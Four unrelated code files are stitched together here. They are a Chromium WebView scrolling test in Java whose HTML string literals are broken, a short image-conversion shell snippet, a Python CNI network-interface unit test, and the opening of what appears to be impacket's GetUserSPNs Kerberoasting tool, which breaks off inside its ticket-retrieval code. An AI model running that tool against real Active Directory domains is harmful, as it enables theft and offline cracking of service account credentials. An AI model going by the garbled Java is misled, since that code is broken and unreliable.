text:
// Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

package org.chromium.android_webview.test;

import android.content.Context;
import android.test.suitebuilder.annotation.SmallTest;
import android.view.View;

import org.chromium.android_webview.AwContents;
import org.chromium.android_webview.test.util.AwTestTouchUtils;
import org.chromium.android_webview.test.util.CommonResources;
import org.chromium.android_webview.test.util.JavascriptEventObserver;
import org.chromium.base.test.util.Feature;
import org.chromium.content.browser.test.util.CallbackHelper;
import org.chromium.content_public.browser.GestureStateListener;
import org.chromium.ui.gfx.DeviceDisplayInfo;

import java.util.concurrent.Callable;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.atomic.AtomicBoolean;

/**
 * Integration tests for synchronous scrolling.
 */
public class AndroidScrollIntegrationTest extends AwTestBase {
    private static class OverScrollByCallbackHelper extends CallbackHelper {
        int mDeltaX;
        int mDeltaY;

        public int getDeltaX() {
            assert getCallCount() > 0;
            return mDeltaX;
        }

        public int getDeltaY() {
            assert getCallCount() > 0;
            return mDeltaY;
        }

        public void notifyCalled(int deltaX, int deltaY) {
            mDeltaX = deltaX;
            mDeltaY = deltaY;
            notifyCalled();
        }
    }

    private static class ScrollTestContainerView extends AwTestContainerView {
        private int mMaxScrollXPix = -1;
        private int mMaxScrollYPix = -1;

        private CallbackHelper mOnScrollToCallbackHelper = new CallbackHelper();
        private OverScrollByCallbackHelper mOverScrollByCallbackHelper =
            new OverScrollByCallbackHelper();

        public ScrollTestContainerView(Context context) {
            super(context);
        }

        public CallbackHelper getOnScrollToCallbackHelper() {
            return mOnScrollToCallbackHelper;
        }

        public OverScrollByCallbackHelper getOverScrollByCallbackHelper() {
            return mOverScrollByCallbackHelper;
        }

        public void setMaxScrollX(int maxScrollXPix) {
            mMaxScrollXPix = maxScrollXPix;
        }

        public void setMaxScrollY(int maxScrollYPix) {
            mMaxScrollYPix = maxScrollYPix;
        }

        @Override
        protected boolean overScrollBy(int deltaX, int deltaY, int scrollX, int scrollY,
                     int scrollRangeX, int scrollRangeY, int maxOverScrollX, int maxOverScrollY,
                     boolean isTouchEvent) {
            mOverScrollByCallbackHelper.notifyCalled(deltaX, deltaY);
            return super.overScrollBy(deltaX, deltaY, scrollX, scrollY,
                     scrollRangeX, scrollRangeY, maxOverScrollX, maxOverScrollY, isTouchEvent);
        }

        @Override
        public void scrollTo(int x, int y) {
            if (mMaxScrollXPix != -1)
                x = Math.min(mMaxScrollXPix, x);
            if (mMaxScrollYPix != -1)
                y = Math.min(mMaxScrollYPix, y);
            super.scrollTo(x, y);
            mOnScrollToCallbackHelper.notifyCalled();
        }
    }

    @Override
    protected TestDependencyFactory createTestDependencyFactory() {
        return new TestDependencyFactory() {
            @Override
            public AwTestContainerView createAwTestContainerView(AwTestRunnerActivity activity) {
                return new ScrollTestContainerView(activity);
            }
        };
    }

    private static final String TEST_PAGE_COMMON_HEADERS =
        "<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\"> " +
        " ";
    private static final String TEST_PAGE_COMMON_CONTENT = "
test div
 ";

    private String makeTestPage(String onscrollObserver, String firstFrameObserver,
            String extraContent) {
        String content = TEST_PAGE_COMMON_CONTENT + extraContent;
        if (onscrollObserver != null) {
            content +=
                    "";
        }
        if (firstFrameObserver != null) {
            content +=
                    "";
        }
        return CommonResources.makeHtmlPageFrom(TEST_PAGE_COMMON_HEADERS, content);
    }

    private void scrollToOnMainSync(final View view, final int xPix, final int yPix) {
        getInstrumentation().runOnMainSync(new Runnable() {
            @Override
            public void run() {
                view.scrollTo(xPix, yPix);
            }
        });
    }

    private void setMaxScrollOnMainSync(final ScrollTestContainerView testContainerView,
            final int maxScrollXPix, final int maxScrollYPix) {
        getInstrumentation().runOnMainSync(new Runnable() {
            @Override
            public void run() {
                testContainerView.setMaxScrollX(maxScrollXPix);
                testContainerView.setMaxScrollY(maxScrollYPix);
            }
        });
    }

    private boolean checkScrollOnMainSync(final ScrollTestContainerView testContainerView,
            final int scrollXPix, final int scrollYPix) {
        final AtomicBoolean equal = new AtomicBoolean(false);
        getInstrumentation().runOnMainSync(new Runnable() {
            @Override
            public void run() {
                equal.set((scrollXPix == testContainerView.getScrollX()) &&
                    (scrollYPix == testContainerView.getScrollY()));
            }
        });
        return equal.get();
    }

    private void assertScrollOnMainSync(final ScrollTestContainerView testContainerView,
            final int scrollXPix, final int scrollYPix) {
        getInstrumentation().runOnMainSync(new Runnable() {
            @Override
            public void run() {
                assertEquals(scrollXPix, testContainerView.getScrollX());
                assertEquals(scrollYPix, testContainerView.getScrollY());
            }
        });
    }

    private void assertScrollInJs(final AwContents awContents,
            final TestAwContentsClient contentsClient,
            final int xCss, final int yCss) throws Exception {
        poll(new Callable<Boolean>() {
            @Override
            public Boolean call() throws Exception {
                String x = executeJavaScriptAndWaitForResult(awContents, contentsClient,
                    "window.scrollX");
                String y = executeJavaScriptAndWaitForResult(awContents, contentsClient,
                    "window.scrollY");
                return (Integer.toString(xCss).equals(x) &&
                    Integer.toString(yCss).equals(y));
            }
        });
    }

    private void assertScrolledToBottomInJs(final AwContents awContents,
            final TestAwContentsClient contentsClient) throws Exception {
        final String isBottomScript = "window.scrollY == " +
            "(window.document.documentElement.scrollHeight - window.innerHeight)";
        poll(new Callable<Boolean>() {
            @Override
            public Boolean call() throws Exception {
                String r = executeJavaScriptAndWaitForResult(awContents, contentsClient,
                    isBottomScript);
                return r.equals("true");
            }
        });
    }

    private void loadTestPageAndWaitForFirstFrame(final ScrollTestContainerView testContainerView,
            final TestAwContentsClient contentsClient,
            final String onscrollObserverName, final String extraContent) throws Exception {
        final JavascriptEventObserver firstFrameObserver = new JavascriptEventObserver();
        final String firstFrameObserverName = "firstFrameObserver";
        enableJavaScriptOnUiThread(testContainerView.getAwContents());

        getInstrumentation().runOnMainSync(new Runnable() {
            @Override
            public void run() {
                firstFrameObserver.register(testContainerView.getContentViewCore(),
                    firstFrameObserverName);
            }
        });

        loadDataSync(testContainerView.getAwContents(), contentsClient.getOnPageFinishedHelper(),
                makeTestPage(onscrollObserverName, firstFrameObserverName, extraContent),
                "text/html", false);

        // We wait for "a couple" of frames for the active tree in CC to stabilize and for pending
        // tree activations to stop clobbering the root scroll layer's scroll offset. This wait
        // doesn't strictly guarantee that but there isn't a good alternative and this seems to
        // work fine.
        firstFrameObserver.waitForEvent(WAIT_TIMEOUT_MS);
    }

    @SmallTest
    @Feature({"AndroidWebView"})
    public void testUiScrollReflectedInJs() throws Throwable {
        final TestAwContentsClient contentsClient = new TestAwContentsClient();
        final ScrollTestContainerView testContainerView =
            (ScrollTestContainerView) createAwTestContainerViewOnMainSync(contentsClient);
        enableJavaScriptOnUiThread(testContainerView.getAwContents());

        final double deviceDIPScale =
            DeviceDisplayInfo.create(testContainerView.getContext()).getDIPScale();
        final int targetScrollXCss = 233;
        final int targetScrollYCss = 322;
        final int targetScrollXPix = (int) Math.ceil(targetScrollXCss * deviceDIPScale);
        final int targetScrollYPix = (int) Math.ceil(targetScrollYCss * deviceDIPScale);
        final JavascriptEventObserver onscrollObserver = new JavascriptEventObserver();

        getInstrumentation().runOnMainSync(new Runnable() {
            @Override
            public void run() {
                onscrollObserver.register(testContainerView.getContentViewCore(),
                    "onscrollObserver");
            }
        });

        loadTestPageAndWaitForFirstFrame(testContainerView, contentsClient, "onscrollObserver", "");

        scrollToOnMainSync(testContainerView, targetScrollXPix, targetScrollYPix);

        onscrollObserver.waitForEvent(WAIT_TIMEOUT_MS);
        assertScrollInJs(testContainerView.getAwContents(), contentsClient,
                targetScrollXCss, targetScrollYCss);
    }

    @SmallTest
    @Feature({"AndroidWebView"})
    public void testJsScrollReflectedInUi() throws Throwable {
        final TestAwContentsClient contentsClient = new TestAwContentsClient();
        final ScrollTestContainerView testContainerView =
            (ScrollTestContainerView) createAwTestContainerViewOnMainSync(contentsClient);
        enableJavaScriptOnUiThread(testContainerView.getAwContents());

        final double deviceDIPScale =
            DeviceDisplayInfo.create(testContainerView.getContext()).getDIPScale();
        final int targetScrollXCss = 132;
        final int targetScrollYCss = 243;
        final int targetScrollXPix = (int) Math.floor(targetScrollXCss * deviceDIPScale);
        final int targetScrollYPix = (int) Math.floor(targetScrollYCss * deviceDIPScale);

        loadDataSync(testContainerView.getAwContents(), contentsClient.getOnPageFinishedHelper(),
                makeTestPage(null, null, ""), "text/html", false);

        final CallbackHelper onScrollToCallbackHelper =
            testContainerView.getOnScrollToCallbackHelper();
        final int scrollToCallCount = onScrollToCallbackHelper.getCallCount();
        executeJavaScriptAndWaitForResult(testContainerView.getAwContents(), contentsClient,
                String.format("window.scrollTo(%d, %d);", targetScrollXCss, targetScrollYCss));
        onScrollToCallbackHelper.waitForCallback(scrollToCallCount);

        assertScrollOnMainSync(testContainerView, targetScrollXPix, targetScrollYPix);
    }

    @SmallTest
    @Feature({"AndroidWebView"})
    public void testJsScrollCanBeAlteredByUi() throws Throwable {
        final TestAwContentsClient contentsClient = new TestAwContentsClient();
        final ScrollTestContainerView testContainerView =
            (ScrollTestContainerView) createAwTestContainerViewOnMainSync(contentsClient);
        enableJavaScriptOnUiThread(testContainerView.getAwContents());

        final double deviceDIPScale =
            DeviceDisplayInfo.create(testContainerView.getContext()).getDIPScale();
        final int targetScrollXCss = 132;
        final int targetScrollYCss = 243;
        final int targetScrollXPix = (int) Math.floor(targetScrollXCss * deviceDIPScale);
        final int targetScrollYPix = (int) Math.floor(targetScrollYCss * deviceDIPScale);

        final int maxScrollXCss = 101;
        final int maxScrollYCss = 201;
        final int maxScrollXPix = (int) Math.floor(maxScrollXCss * deviceDIPScale);
        final int maxScrollYPix = (int) Math.floor(maxScrollYCss * deviceDIPScale);

        loadDataSync(testContainerView.getAwContents(), contentsClient.getOnPageFinishedHelper(),
                makeTestPage(null, null, ""), "text/html", false);

        setMaxScrollOnMainSync(testContainerView, maxScrollXPix, maxScrollYPix);

        final CallbackHelper onScrollToCallbackHelper =
            testContainerView.getOnScrollToCallbackHelper();
        final int scrollToCallCount = onScrollToCallbackHelper.getCallCount();
        executeJavaScriptAndWaitForResult(testContainerView.getAwContents(), contentsClient,
                "window.scrollTo(" + targetScrollXCss + "," + targetScrollYCss + ")");
        onScrollToCallbackHelper.waitForCallback(scrollToCallCount);

        assertScrollOnMainSync(testContainerView, maxScrollXPix, maxScrollYPix);
    }

    @SmallTest
    @Feature({"AndroidWebView"})
    public void testTouchScrollCanBeAlteredByUi() throws Throwable {
        final TestAwContentsClient contentsClient = new TestAwContentsClient();
        final ScrollTestContainerView testContainerView =
            (ScrollTestContainerView) createAwTestContainerViewOnMainSync(contentsClient);
        enableJavaScriptOnUiThread(testContainerView.getAwContents());

        final int dragSteps = 10;
        final int dragStepSize = 24;
        // Watch out when modifying - if the y or x delta aren't big enough vertical or horizontal
        // scroll snapping will kick in.
        final int targetScrollXPix = dragStepSize * dragSteps;
        final int targetScrollYPix = dragStepSize * dragSteps;

        final double deviceDIPScale =
            DeviceDisplayInfo.create(testContainerView.getContext()).getDIPScale();
        final int maxScrollXPix = 101;
        final int maxScrollYPix = 211;
        // Make sure we can't hit these values simply as a result of scrolling.
        assert (maxScrollXPix % dragStepSize) != 0;
        assert (maxScrollYPix % dragStepSize) != 0;
        final int maxScrollXCss = (int) Math.floor(maxScrollXPix / deviceDIPScale);
        final int maxScrollYCss = (int) Math.floor(maxScrollYPix / deviceDIPScale);

        setMaxScrollOnMainSync(testContainerView, maxScrollXPix, maxScrollYPix);

        loadTestPageAndWaitForFirstFrame(testContainerView, contentsClient, null, "");

        final CallbackHelper onScrollToCallbackHelper =
            testContainerView.getOnScrollToCallbackHelper();
        final int scrollToCallCount = onScrollToCallbackHelper.getCallCount();
        AwTestTouchUtils.dragCompleteView(testContainerView,
                0, -targetScrollXPix, // these need to be negative as we're scrolling down.
                0, -targetScrollYPix,
                dragSteps,
                null /* completionLatch */);

        for (int i = 1; i <= dragSteps; ++i) {
            onScrollToCallbackHelper.waitForCallback(scrollToCallCount, i);
            if (checkScrollOnMainSync(testContainerView, maxScrollXPix, maxScrollYPix))
                break;
        }

        assertScrollOnMainSync(testContainerView, maxScrollXPix, maxScrollYPix);
        assertScrollInJs(testContainerView.getAwContents(), contentsClient,
                maxScrollXCss, maxScrollYCss);
    }

    @SmallTest
    @Feature({"AndroidWebView"})
    public void testNoSpuriousOverScrolls() throws Throwable {
        final TestAwContentsClient contentsClient = new TestAwContentsClient();
        final ScrollTestContainerView testContainerView =
            (ScrollTestContainerView) createAwTestContainerViewOnMainSync(contentsClient);
        enableJavaScriptOnUiThread(testContainerView.getAwContents());

        final int dragSteps = 1;
        final int targetScrollYPix = 24;

        setMaxScrollOnMainSync(testContainerView, 0, 0);

        loadTestPageAndWaitForFirstFrame(testContainerView, contentsClient, null, "");

        final CallbackHelper onScrollToCallbackHelper =
            testContainerView.getOnScrollToCallbackHelper();
        final int scrollToCallCount = onScrollToCallbackHelper.getCallCount();
        CountDownLatch scrollingCompleteLatch = new CountDownLatch(1);
        AwTestTouchUtils.dragCompleteView(testContainerView,
                0, 0, // these need to be negative as we're scrolling down.
                0, -targetScrollYPix,
                dragSteps,
                scrollingCompleteLatch);
        try {
            scrollingCompleteLatch.await();
        } catch (InterruptedException ex) {
            // ignore
        }
        assertEquals(scrollToCallCount + 1, onScrollToCallbackHelper.getCallCount());
    }

    @SmallTest
    @Feature({"AndroidWebView"})
    public void testOverScrollX() throws Throwable {
        final TestAwContentsClient contentsClient = new TestAwContentsClient();
        final ScrollTestContainerView testContainerView =
            (ScrollTestContainerView) createAwTestContainerViewOnMainSync(contentsClient);
        final OverScrollByCallbackHelper overScrollByCallbackHelper =
            testContainerView.getOverScrollByCallbackHelper();
        enableJavaScriptOnUiThread(testContainerView.getAwContents());

        final int overScrollDeltaX = 30;
        final int oneStep = 1;

        loadTestPageAndWaitForFirstFrame(testContainerView, contentsClient, null, "");

        // Scroll separately in different dimensions because of vertical/horizontal scroll
        // snap.
        final int overScrollCallCount = overScrollByCallbackHelper.getCallCount();
        AwTestTouchUtils.dragCompleteView(testContainerView,
                0, overScrollDeltaX,
                0, 0,
                oneStep,
                null /* completionLatch */);
        overScrollByCallbackHelper.waitForCallback(overScrollCallCount);
        // Unfortunately the gesture detector seems to 'eat' some number of pixels. For now
        // checking that the value is < 0 (overscroll is reported as negative values) will have to
        // do.
        assertTrue(0 > overScrollByCallbackHelper.getDeltaX());
        assertEquals(0, overScrollByCallbackHelper.getDeltaY());

        assertScrollOnMainSync(testContainerView, 0, 0);
    }

    @SmallTest
    @Feature({"AndroidWebView"})
    public void testOverScrollY() throws Throwable {
        final TestAwContentsClient contentsClient = new TestAwContentsClient();
        final ScrollTestContainerView testContainerView =
            (ScrollTestContainerView) createAwTestContainerViewOnMainSync(contentsClient);
        final OverScrollByCallbackHelper overScrollByCallbackHelper =
            testContainerView.getOverScrollByCallbackHelper();
        enableJavaScriptOnUiThread(testContainerView.getAwContents());

        final int overScrollDeltaY = 30;
        final int oneStep = 1;

        loadTestPageAndWaitForFirstFrame(testContainerView, contentsClient, null, "");

        int overScrollCallCount = overScrollByCallbackHelper.getCallCount();
        AwTestTouchUtils.dragCompleteView(testContainerView,
                0, 0,
                0, overScrollDeltaY,
                oneStep,
                null /* completionLatch */);
        overScrollByCallbackHelper.waitForCallback(overScrollCallCount);
        assertEquals(0, overScrollByCallbackHelper.getDeltaX());
        assertTrue(0 > overScrollByCallbackHelper.getDeltaY());

        assertScrollOnMainSync(testContainerView, 0, 0);
    }

    @SmallTest
    @Feature({"AndroidWebView"})
    public void testScrollToBottomAtPageScaleX0dot5() throws Throwable {
        // The idea behind this test is to check that scrolling to the bottom on ther renderer side
        // results in the view also reporting as being scrolled to the bottom.
        final TestAwContentsClient contentsClient = new TestAwContentsClient();
        final ScrollTestContainerView testContainerView =
            (ScrollTestContainerView) createAwTestContainerViewOnMainSync(contentsClient);
        enableJavaScriptOnUiThread(testContainerView.getAwContents());

        final int targetScrollXCss = 1000;
        final int targetScrollYCss = 10000;

        final String pageHeaders =
            "<meta name=\"viewport\" content=\"width=device-width, initial-scale=0.6\"> " +
            " ";

        loadDataSync(testContainerView.getAwContents(), contentsClient.getOnPageFinishedHelper(),
                CommonResources.makeHtmlPageFrom(pageHeaders, TEST_PAGE_COMMON_CONTENT),
                "text/html", false);

        final double deviceDIPScale =
            DeviceDisplayInfo.create(testContainerView.getContext()).getDIPScale();

        final CallbackHelper onScrollToCallbackHelper =
            testContainerView.getOnScrollToCallbackHelper();
        int scrollToCallCount = onScrollToCallbackHelper.getCallCount();
        executeJavaScriptAndWaitForResult(testContainerView.getAwContents(), contentsClient,
                "window.scrollTo(" + targetScrollXCss + "," + targetScrollYCss + ")");
        onScrollToCallbackHelper.waitForCallback(scrollToCallCount);

        getInstrumentation().runOnMainSync(new Runnable() {
            @Override
            public void run() {
                AwContents awContents = testContainerView.getAwContents();
                int maxHorizontal = awContents.computeHorizontalScrollRange() -
                                testContainerView.getWidth();
                int maxVertical = awContents.computeVerticalScrollRange() -
                                testContainerView.getHeight();
                // Due to rounding going from CSS -> physical pixels it is possible that more than
                // one physical pixels corespond to one CSS pixel, which is why we can't do a
                // simple equality test here.
                assertTrue(maxHorizontal - awContents.computeHorizontalScrollOffset() < 3);
                assertTrue(maxVertical - awContents.computeVerticalScrollOffset() < 3);
            }
        });

        scrollToCallCount = onScrollToCallbackHelper.getCallCount();
        executeJavaScriptAndWaitForResult(testContainerView.getAwContents(), contentsClient,
                "window.scrollTo(0, 0)");
        onScrollToCallbackHelper.waitForCallback(scrollToCallCount);

        getInstrumentation().runOnMainSync(new Runnable() {
            @Override
            public void run() {
                AwContents awContents = testContainerView.getAwContents();
                int maxHorizontal = awContents.computeHorizontalScrollRange() -
                                testContainerView.getWidth();
                int maxVertical = awContents.computeVerticalScrollRange() -
                                testContainerView.getHeight();
                testContainerView.scrollTo(maxHorizontal, maxVertical);
            }
        });
        assertScrolledToBottomInJs(testContainerView.getAwContents(), contentsClient);
    }

    @SmallTest
    @Feature({"AndroidWebView"})
    public void testFlingScroll() throws Throwable {
        final TestAwContentsClient contentsClient = new TestAwContentsClient();
        final ScrollTestContainerView testContainerView =
            (ScrollTestContainerView) createAwTestContainerViewOnMainSync(contentsClient);
        enableJavaScriptOnUiThread(testContainerView.getAwContents());

        loadTestPageAndWaitForFirstFrame(testContainerView, contentsClient, null, "");

        assertScrollOnMainSync(testContainerView, 0, 0);

        final CallbackHelper onScrollToCallbackHelper =
            testContainerView.getOnScrollToCallbackHelper();
        final int scrollToCallCount = onScrollToCallbackHelper.getCallCount();

        getInstrumentation().runOnMainSync(new Runnable() {
            @Override
            public void run() {
                testContainerView.getAwContents().flingScroll(1000, 1000);
            }
        });

        onScrollToCallbackHelper.waitForCallback(scrollToCallCount);

        getInstrumentation().runOnMainSync(new Runnable() {
            @Override
            public void run() {
                assertTrue(testContainerView.getScrollX() > 0);
                assertTrue(testContainerView.getScrollY() > 0);
            }
        });
    }

    @SmallTest
    @Feature({"AndroidWebView"})
    public void testPageDown() throws Throwable {
        final TestAwContentsClient contentsClient = new TestAwContentsClient();
        final ScrollTestContainerView testContainerView =
            (ScrollTestContainerView) createAwTestContainerViewOnMainSync(contentsClient);
        enableJavaScriptOnUiThread(testContainerView.getAwContents());

        loadTestPageAndWaitForFirstFrame(testContainerView, contentsClient, null, "");

        assertScrollOnMainSync(testContainerView, 0, 0);

        final int maxScrollYPix = runTestOnUiThreadAndGetResult(new Callable<Integer>() {
            @Override
            public Integer call() {
                return (testContainerView.getAwContents().computeVerticalScrollRange() -
                    testContainerView.getHeight());
            }
        });

        final CallbackHelper onScrollToCallbackHelper =
            testContainerView.getOnScrollToCallbackHelper();
        final int scrollToCallCount = onScrollToCallbackHelper.getCallCount();

        getInstrumentation().runOnMainSync(new Runnable() {
            @Override
            public void run() {
                testContainerView.getAwContents().pageDown(true);
            }
        });

        // Wait for the animation to hit the bottom of the page.
        for (int i = 1;; ++i) {
            onScrollToCallbackHelper.waitForCallback(scrollToCallCount, i);
            if (checkScrollOnMainSync(testContainerView, 0, maxScrollYPix))
                break;
        }
    }

    @SmallTest
    @Feature({"AndroidWebView"})
    public void testPageUp() throws Throwable {
        final TestAwContentsClient contentsClient = new TestAwContentsClient();
        final ScrollTestContainerView testContainerView =
            (ScrollTestContainerView) createAwTestContainerViewOnMainSync(contentsClient);
        enableJavaScriptOnUiThread(testContainerView.getAwContents());

        final double deviceDIPScale =
            DeviceDisplayInfo.create(testContainerView.getContext()).getDIPScale();
        final int targetScrollYCss = 243;
        final int targetScrollYPix = (int) Math.ceil(targetScrollYCss * deviceDIPScale);

        loadTestPageAndWaitForFirstFrame(testContainerView, contentsClient, null, "");

        assertScrollOnMainSync(testContainerView, 0, 0);

        scrollToOnMainSync(testContainerView, 0, targetScrollYPix);

        final CallbackHelper onScrollToCallbackHelper =
            testContainerView.getOnScrollToCallbackHelper();
        final int scrollToCallCount = onScrollToCallbackHelper.getCallCount();

        getInstrumentation().runOnMainSync(new Runnable() {
            @Override
            public void run() {
                testContainerView.getAwContents().pageUp(true);
            }
        });

        // Wait for the animation to hit the bottom of the page.
        for (int i = 1;; ++i) {
            onScrollToCallbackHelper.waitForCallback(scrollToCallCount, i);
            if (checkScrollOnMainSync(testContainerView, 0, 0))
                break;
        }
    }

    private static class TestGestureStateListener extends GestureStateListener {
        private CallbackHelper mOnScrollUpdateGestureConsumedHelper = new CallbackHelper();

        public CallbackHelper getOnScrollUpdateGestureConsumedHelper() {
            return mOnScrollUpdateGestureConsumedHelper;
        }

        @Override
        public void onPinchStarted() {
        }

        @Override
        public void onPinchEnded() {
        }

        @Override
        public void onFlingStartGesture(
                int velocityX, int velocityY, int scrollOffsetY, int scrollExtentY) {
        }

        @Override
        public void onFlingCancelGesture() {
        }

        @Override
        public void onUnhandledFlingStartEvent(int velocityX, int velocityY) {
        }

        @Override
        public void onScrollUpdateGestureConsumed() {
            mOnScrollUpdateGestureConsumedHelper.notifyCalled();
        }
    }

    @SmallTest
    @Feature({"AndroidWebView"})
    public void testTouchScrollingConsumesScrollByGesture() throws Throwable {
        final TestAwContentsClient contentsClient = new TestAwContentsClient();
        final ScrollTestContainerView testContainerView =
            (ScrollTestContainerView) createAwTestContainerViewOnMainSync(contentsClient);
        final TestGestureStateListener testGestureStateListener = new TestGestureStateListener();
        enableJavaScriptOnUiThread(testContainerView.getAwContents());

        final int dragSteps = 10;
        final int dragStepSize = 24;
        // Watch out when modifying - if the y or x delta aren't big enough vertical or horizontal
        // scroll snapping will kick in.
        final int targetScrollXPix = dragStepSize * dragSteps;
        final int targetScrollYPix = dragStepSize * dragSteps;

        loadTestPageAndWaitForFirstFrame(testContainerView, contentsClient, null,
                "
" +
                "
 force scrolling
" +
                "
");

        getInstrumentation().runOnMainSync(new Runnable() {
            @Override
            public void run() {
                testContainerView.getContentViewCore().addGestureStateListener(
                        testGestureStateListener);
            }
        });
        final CallbackHelper onScrollUpdateGestureConsumedHelper =
            testGestureStateListener.getOnScrollUpdateGestureConsumedHelper();

        final int callCount = onScrollUpdateGestureConsumedHelper.getCallCount();
        AwTestTouchUtils.dragCompleteView(testContainerView,
                0, -targetScrollXPix, // these need to be negative as we're scrolling down.
                0, -targetScrollYPix,
                dragSteps,
                null /* completionLatch */);
        onScrollUpdateGestureConsumedHelper.waitForCallback(callCount);
    }
}


text:
gnuplot /var/python/django-howl/howl/inkdisplay/generatepng.gnuplot
inkscape -f /tmp/inkdisplay-output.svg -e /tmp/inkdisplay-output-tmp.png
pngcrush -c 0 /tmp/inkdisplay-output-tmp.png /tmp/inkdisplay-output.png

redpajama_set_name: RedPajamaGithub


text:
import json
import mock
import unittest
import os
import requests
import sys
import errno
from pyroute2 import iproute, NetlinkError
from mock import patch
from mock import Mock

from cni.common import interface
from cni.test.common.netns_mock import *

class CniNamespaceTest(unittest.TestCase):
    def setUp(self):
        pass

    def tearDown(self):
        pass

    @patch('os.close')
    @patch('os.open', new=Mock(return_value=1))
    def test_close_files(self, mock_close):
        c = interface.CniNamespace("/var/run/netns/ns")
        c.ns_fd = None
        c.my_fd = None
        c.close_files()
        self.assertEqual(mock_close.call_count, 0)
        self.assertEqual((c.my_fd, c.ns_fd), (None, None))
        mock_close.reset_mock()
        c.ns_fd = 1
        c.close_files()
        mock_close.assert_called_once_with(1)
        self.assertEqual((c.my_fd, c.ns_fd), (None, None))
        mock_close.reset_mock()
        c.my_fd = 2
        c.close_files()
        mock_close.assert_called_once_with(2)
        self.assertEqual((c.my_fd, c.ns_fd), (None, None))
        mock_close.reset_mock()
        c.ns_fd = 1
        c.my_fd = 2
        c.close_files()
        self.assertEqual(mock_close.call_count, 2)
        self.assertEqual((c.my_fd, c.ns_fd), (None, None))

#    @patch('os.open')
#    def test_context_manager(self, mock_open):
#        interface.logger = Mock()
#        mock_open.side_effect = lambda path, mode: 1 if path == "/netns/ns" else 2
#        mock_libc = Mock()
#        mock_libc.setns = Mock(return_value=0)
#        c = interface.CniNamespace("/netns/ns")
#        c.libc = mock_libc
#        with c:
#            mock_libc.setns.assert_called_once_with(1, 0)
#            mock_libc.setns.reset_mock()
#        mock_libc.setns.assert_called_once_with(2, 0)

class ExtendedInterface(interface.Interface, object):
    def __init__(self, cni):
        interface.Interface.__init__(self, cni)
    def create_interface(self):
        pass
    def delete_interface(self):
        pass

class InterfaceTest(unittest.TestCase):
    def setUp(self):
        NetnsMock.reset()
        self.mock_cni = Mock()
        self.mock_cni.container_ifname = "eth0"

    def tearDown(self):
        pass

    @patch("cni.common.interface.CniNamespace", new=NetnsMock)
    @patch("cni.common.interface.IPRoute", new=IPRouteMock)
    def test_get_link(self):
        iface = interface.Interface(self.mock_cni)
        self.mock_cni.container_ifname = "eth1"
        self.assertEquals(iface.get_link()["name"], "eth1")
        self.mock_cni.container_ifname = "eth13"
        self.assertIsNone(iface.get_link())

    @patch("cni.common.interface.CniNamespace", new=NetnsMock)
    @patch("cni.common.interface.IPRoute", new=IPRouteMock)
    def test_delete_link(self):
        iface = interface.Interface(self.mock_cni)
        self.mock_cni.container_ifname = "eth2"
        iface.delete_link()
        self.assertFalse(NetnsMock.find("eth2", CONTAINER_NS_PID) in
                         NetnsMock.ns_ifaces[CONTAINER_NS_PID])
        self.mock_cni.container_ifname = "eth200"
        iface.delete_link()

    @patch("cni.common.interface.CniNamespace", new=NetnsMock)
    @patch("cni.common.interface.IPRoute", new=IPRouteMock)
    def test_configure_link(self):
        iface = interface.Interface(self.mock_cni)
        self.mock_cni.container_ifname = "eth2"
        iface.configure_interface("10.10.0.3", 24, "10.10.0.1")
        eth2 = NetnsMock.get("eth2", CONTAINER_NS_PID)
        self.assertEquals("up", eth2["state"])
        self.assertEquals("10.10.0.3", eth2["addr"])
        self.assertEquals(24, eth2["plen"])
        self.assertIn({
            'dst': '0.0.0.0/0',
            'gw': '10.10.0.1'
        }, NetnsMock.routes)

    @patch.object(ExtendedInterface, "create_interface")
    @patch.object(ExtendedInterface, "configure_interface")
    def test_add(self, mock_configure, mock_create):
        iface = ExtendedInterface(self.mock_cni)
        iface.add("10.10.2.3", "16", "10.10.2.5")
        mock_create.assert_called_once_with()
        mock_configure.assert_called_once_with("10.10.2.3", "16", "10.10.2.5")

    @patch.object(ExtendedInterface, "delete_interface")
    def test_delete(self, mock_delete):
        iface = ExtendedInterface(self.mock_cni)
        iface.delete()
        mock_delete.assert_called_once_with()


text:
import argparse
import logging
import os
import sys
from datetime import datetime
from binascii import hexlify, unhexlify

from pyasn1.codec.der import decoder
from impacket import version
from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_NORMAL_ACCOUNT
from impacket.examples import logger
from impacket.krb5 import constants
from impacket.krb5.asn1 import TGS_REP
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
from impacket.ldap import ldap, ldapasn1
from impacket.smbconnection import SMBConnection

class GetUserSPNs:
    @staticmethod
    def printTable(items, header):
        colLen = []
        for i, col in enumerate(header):
            rowMaxLen = max([len(row[i]) for row in items])
            colLen.append(max(rowMaxLen, len(col)))

        outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])

        # Print header
        print outputFormat.format(*header)
        print '  '.join(['-' * itemLen for itemLen in colLen])

        # And now the rows
        for row in items:
            print outputFormat.format(*row)

    def __init__(self, username, password, domain, cmdLineOptions):
        self.options = cmdLineOptions
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__outputFileName = options.outputfile
        self.__aesKey = cmdLineOptions.aesKey
        self.__doKerberos = cmdLineOptions.k
        self.__target = None
        self.__requestTGS = options.request
        self.__kdcHost = cmdLineOptions.dc_ip
        self.__saveTGS = cmdLineOptions.save
        self.__requestUser = cmdLineOptions.request_user
        if cmdLineOptions.hashes is not None:
            self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')

        # Create the baseDN
        domainParts = self.__domain.split('.')
        self.baseDN = ''
        for i in domainParts:
            self.baseDN += 'dc=%s,' % i
        # Remove last ','
        self.baseDN = self.baseDN[:-1]

    def getMachineName(self):
        if self.__kdcHost is not None:
            s = SMBConnection(self.__kdcHost, self.__kdcHost)
        else:
            s = SMBConnection(self.__domain, self.__domain)
        try:
            s.login('', '')
        except Exception:
            logging.debug('Error while anonymous logging into %s' % self.__domain)

        s.logoff()
        return s.getServerName()

    @staticmethod
    def getUnixTime(t):
        t -= 116444736000000000
        t /= 10000000
        return t

    def getTGT(self):
        try:
            ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
        except:
            # No cache present
            pass
        else:
            # retrieve user and domain information from CCache file if needed
